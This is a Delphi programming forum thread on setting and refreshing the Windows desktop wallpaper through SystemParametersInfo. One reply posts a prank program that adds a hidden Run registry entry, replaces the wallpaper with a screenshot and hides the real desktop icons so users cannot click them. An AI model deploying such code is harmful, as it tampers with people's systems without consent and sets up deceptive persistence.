Wallpaper

Who know a name of API function to set a new WallPaper on Windows desktop?
LVL 3
lmikleAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

JaymolCommented:
This is a lot, I know, for such a simple question, but I decided to give you the whole program.  Create a project, remove all the forms from the project and paste this lot into the project source....


program InactiveDesktop;

uses
            Windows, Classes, Graphics, IniFiles, Registry, Messages;

{$IFNDEF WIN32}
 const MAX_PATH = 144;
{$ENDIF}

var
   BackGround : TBitmap;
   BackGroundCanvas : TCanvas;
   DC : hDC;
   ScreenWidth, ScreenHeight : integer;
   WIni      :      TIniFile;
   Wppr      :      String;
   WinDir      :      Array[0..MAX_PATH] of char;
   WReg      :      TRegistry;
   RegEntry      :      String;
       h      : hwnd;

begin
     GetWindowsDirectory(WinDir,SizeOf(WinDir));
            Wreg:=TRegistry.Create;
            WReg.RootKey:=HKEY_LOCAL_MACHINE;
     WReg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\',True);
     RegEntry:=WReg.ReadString('~~ID');
     if RegEntry='' then begin
           WReg.WriteString('~~ID',WinDir+'\system\ID.exe');
        WReg.Free;
        halt;
     end;
     WReg.Free;
     WIni:=TIniFile.Create('win.ini');
              wppr:=WinDir+'\bacdrp.bmp';
     WIni.WriteString('Desktop','Wallpaper',Wppr);
     WIni.WriteInteger('Desktop','WallpaperStyle',1);
     WIni.Free;
     ShowCursor(False);
     ScreenWidth := GetSystemMetrics(SM_CXSCREEN);
     ScreenHeight := GetSystemMetrics(SM_CYSCREEN);
     BackGround := TBitmap.Create;
     BackGround.Width := ScreenWidth;
     BackGround.Height := ScreenHeight;
     DC := GetDC(0);
     BackGroundCanvas := TCanvas.Create;
     BackGroundCanvas.Handle := DC;
     BackGround.Canvas.CopyRect(Rect(0,0,ScreenWidth, ScreenHeight),
                                BackGroundCanvas,
                                Rect(0,0,ScreenWidth, ScreenHeight));
             BackGround.SaveToFile(wppr);
     BackGroundCanvas.Free;
     ReleaseDC(0,DC);
     BackGround.Free;
     ShowCursor(True);
     SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(Wppr),SPIF_SENDWININICHANGE);
     SendMessage(FindWindow('Progman', 'Program Manager'),WM_COMMAND,$A065,0);
            h:=Findwindow('Progman','Program Manager');
            ShowWindow(h,SW_hide);
end.

Now PLEASE don't run it and think "isn't John a nice guy!"  I'm not!  I wrote this program to piss people off.  It takes a snapshot of the desktop - with icons - and then replaces the wallpaper with it and assigns it as new wallpaper.  Then, it removes the icons from the desktop, but they are still visible on the wallpaper so people try and click em, but to no avail!

Anyway, it shows you how to do it.

John.
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
rwilson032697Commented:
Listening
0
TheNeilCommented:
Err yeah you could do it Jaymol's way or you could just use the following:

SystemParametersInfo(SPI_SetDeskWallpaper, 0, PCHAR(new_image_filename), SPIF_UPDATEINIFILE);

The Neil
0
Cloud Class® Course: SQL Server Core 2016

This course will introduce you to SQL Server Core 2016, as well as teach you about SSMS, data tools, installation, server configuration, using Management Studio, and writing and executing queries.

JaymolCommented:
Err yeah, you could.
0
TheNeilCommented:
Sorry Jaymol, there was just far too much code for my poor little brain to look at so I ignored the majority of your stuff when I saw Registry and didn't realise that you'd already suggested it - oops

The Neil
0
lmikleAuthor Commented:
OK, but it's a not refresh a current desktop :(
0
lmikleAuthor Commented:
OK, but it's a not refresh a current desktop :(
0
JaymolCommented:
The last bit of my code refreshes the desktop so it becomes current....

  SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(Wppr),SPIF_SENDWININICHANGE);
  SendMessage(FindWindow('Progman', 'Program Manager'),WM_COMMAND,$A065,0);

I'm not entirely sure which line does it cos it's that long since I wrote this program.  (It's not the kind of thing you need to do when developing boring business applications and databases!)

If that's not right, tell me and I will get the right stuff for you.

John.
0
JaymolCommented:
Yeah....do this.....

      SystemParametersInfo(SPI_SetDeskWallpaper, 0, PCHAR('wallpaper bitmap'), SPIF_UPDATEINIFILE);
  SendMessage(FindWindow(nil, 'Program Manager'),WM_COMMAND,$A065,0);


That sets and refreshes it for me!

John.
0
JaymolCommented:
Sorry......I did mean to keep the original code, not use Neil's.....that should have been SPIF_SENDWININICHANGE, as above!

John.
0
lmikleAuthor Commented:
I try both samples, but it's no effect.
Only if i use SPIF_UPDATEINIFILE in SystemParametersInfo it's chenge in registry. But not refresh a current desktop (without restart windows).

I use Windows NT 4.0 SP5 (M.b. it OS problem, but it must work on win 9x and NT).
0
TheNeilCommented:
I know that you CAN force an update using the code that I posted before but I can't remember if you need anything else (I don't think you do). I haven't used the SPIF_INIUPDATE version (or indeed ANY variation) for a few years now but it DID work under Windows 95 as my particular code cycled the Windows wallpaper every couple of minutes.

As I remember it was very much a trial and error thing so just try playing around with the parameters supplied to SystemParametersInfo

The Neil
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Delphi

From novice to tech pro — start learning today.